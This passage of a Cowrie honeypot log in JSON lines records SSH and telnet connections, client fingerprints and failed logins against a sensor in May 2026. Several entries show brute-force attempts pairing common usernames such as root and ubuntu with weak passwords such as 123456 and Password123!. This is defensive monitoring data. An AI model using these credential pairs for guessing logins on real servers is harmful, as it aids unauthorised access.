0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:09.223222Z","src_ip":"176.65.132.129","session":"83d45b42f83b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:09.468899Z","src_ip":"176.65.132.129","session":"83d45b42f83b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:10.553905Z","src_ip":"176.65.132.129","session":"83d45b42f83b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41726,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bb71e904dc3","protocol":"ssh","message":"New connection: 176.65.132.129:41726 (10.17.0.5:22) [session: 6bb71e904dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:12.727988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:12.732847Z","src_ip":"176.65.132.129","session":"6bb71e904dc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:12.815271Z","src_ip":"176.65.132.129","session":"6bb71e904dc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:13.067045Z","src_ip":"176.65.132.129","session":"6bb71e904dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44490,"dst_ip":"10.17.0.5","dst_port":23,"session":"f33f1238cab9","protocol":"telnet","message":"New connection: 45.81.23.16:44490 (10.17.0.5:23) [session: f33f1238cab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:13.666248Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44498,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec6275fa49f","protocol":"telnet","message":"New connection: 45.81.23.16:44498 (10.17.0.5:23) [session: 9ec6275fa49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:13.735310Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44514,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c4ee947008c","protocol":"telnet","message":"New connection: 45.81.23.16:44514 (10.17.0.5:23) [session: 0c4ee947008c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:13.924917Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:14.151706Z","src_ip":"176.65.132.129","session":"6bb71e904dc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.34194517135620117,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:14.266747Z","src_ip":"45.81.23.16","session":"0c4ee947008c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44526,"dst_ip":"10.17.0.5","dst_port":23,"session":"429f3f0a724d","protocol":"telnet","message":"New connection: 45.81.23.16:44526 (10.17.0.5:23) [session: 429f3f0a724d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:14.757316Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44540,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aef95cd372e","protocol":"telnet","message":"New connection: 45.81.23.16:44540 (10.17.0.5:23) [session: 7aef95cd372e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:15.098127Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38252,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ed19170c41e","protocol":"ssh","message":"New connection: 176.65.132.129:38252 (10.17.0.5:22) [session: 6ed19170c41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:16.009637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:16.016028Z","src_ip":"176.65.132.129","session":"6ed19170c41e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:16.100881Z","src_ip":"176.65.132.129","session":"6ed19170c41e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":43326,"dst_ip":"159.203.135.109","dst_port":23,"session":"508db115b0d9","protocol":"telnet","message":"New connection: 64.227.82.147:43326 (159.203.135.109:23) [session: 508db115b0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:16.250748Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:16.351734Z","src_ip":"176.65.132.129","session":"6ed19170c41e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:17.439318Z","src_ip":"176.65.132.129","session":"6ed19170c41e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44544,"dst_ip":"10.17.0.5","dst_port":23,"session":"328f669e2329","protocol":"telnet","message":"New connection: 45.81.23.16:44544 (10.17.0.5:23) [session: 328f669e2329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:17.559579Z"}
{"eventid":"cowrie.session.closed","duration":3.425797700881958,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:18.183010Z","src_ip":"45.81.23.16","session":"429f3f0a724d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44550,"dst_ip":"10.17.0.5","dst_port":23,"session":"f75732ab822a","protocol":"telnet","message":"New connection: 45.81.23.16:44550 (10.17.0.5:23) [session: f75732ab822a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:18.542930Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44548,"dst_ip":"10.17.0.5","dst_port":23,"session":"24303b28b961","protocol":"telnet","message":"New connection: 45.81.23.16:44548 (10.17.0.5:23) [session: 24303b28b961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:18.547971Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38268,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2d55f1b55a8","protocol":"ssh","message":"New connection: 176.65.132.129:38268 (10.17.0.5:22) [session: a2d55f1b55a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:19.446899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:19.451801Z","src_ip":"176.65.132.129","session":"a2d55f1b55a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:19.540915Z","src_ip":"176.65.132.129","session":"a2d55f1b55a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:19.788001Z","src_ip":"176.65.132.129","session":"a2d55f1b55a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":43334,"dst_ip":"159.203.135.109","dst_port":23,"session":"df41f06f965b","protocol":"telnet","message":"New connection: 64.227.82.147:43334 (159.203.135.109:23) [session: df41f06f965b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:20.529154Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:20.873581Z","src_ip":"176.65.132.129","session":"a2d55f1b55a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52554,"dst_ip":"159.203.135.109","dst_port":23,"session":"f84d9a665c70","protocol":"telnet","message":"New connection: 38.60.198.128:52554 (159.203.135.109:23) [session: f84d9a665c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:21.634274Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38278,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2df981fdbe","protocol":"ssh","message":"New connection: 176.65.132.129:38278 (10.17.0.5:22) [session: ce2df981fdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:22.858314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:22.862835Z","src_ip":"176.65.132.129","session":"ce2df981fdbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":39190,"dst_ip":"10.17.0.5","dst_port":22,"session":"88078002844f","protocol":"ssh","message":"New connection: 95.215.8.165:39190 (10.17.0.5:22) [session: 88078002844f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:22.871165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:22.875685Z","src_ip":"95.215.8.165","session":"88078002844f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:22.944348Z","src_ip":"176.65.132.129","session":"ce2df981fdbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:22.966988Z","src_ip":"95.215.8.165","session":"88078002844f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:23.191286Z","src_ip":"176.65.132.129","session":"ce2df981fdbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password123!","message":"login attempt [ubuntu/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:23.398641Z","src_ip":"95.215.8.165","session":"88078002844f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:24.276280Z","src_ip":"176.65.132.129","session":"ce2df981fdbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:24.494116Z","src_ip":"95.215.8.165","session":"88078002844f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.178718328475952,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:24.738006Z","src_ip":"45.81.23.16","session":"328f669e2329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.966291189193726,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:24.794736Z","src_ip":"38.60.198.128","session":"f2dda4539fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.234628200531006,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:25.777455Z","src_ip":"45.81.23.16","session":"f75732ab822a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37374,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a839e08ad53","protocol":"ssh","message":"New connection: 176.65.132.129:37374 (10.17.0.5:22) [session: 8a839e08ad53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:26.255431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:26.332270Z","src_ip":"176.65.132.129","session":"8a839e08ad53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:26.369653Z","src_ip":"176.65.132.129","session":"8a839e08ad53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:26.657780Z","src_ip":"176.65.132.129","session":"8a839e08ad53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51162,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b6c8ba18e42","protocol":"telnet","message":"New connection: 38.54.119.93:51162 (10.17.0.5:23) [session: 2b6c8ba18e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:27.559875Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59626,"dst_ip":"159.203.135.109","dst_port":23,"session":"505bf68b06ab","protocol":"telnet","message":"New connection: 38.60.198.128:59626 (159.203.135.109:23) [session: 505bf68b06ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:27.667665Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:27.741290Z","src_ip":"176.65.132.129","session":"8a839e08ad53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37380,"dst_ip":"10.17.0.5","dst_port":22,"session":"018e8332fc6a","protocol":"ssh","message":"New connection: 176.65.132.129:37380 (10.17.0.5:22) [session: 018e8332fc6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:29.672019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:29.678172Z","src_ip":"176.65.132.129","session":"018e8332fc6a","protocol":"ssh"}
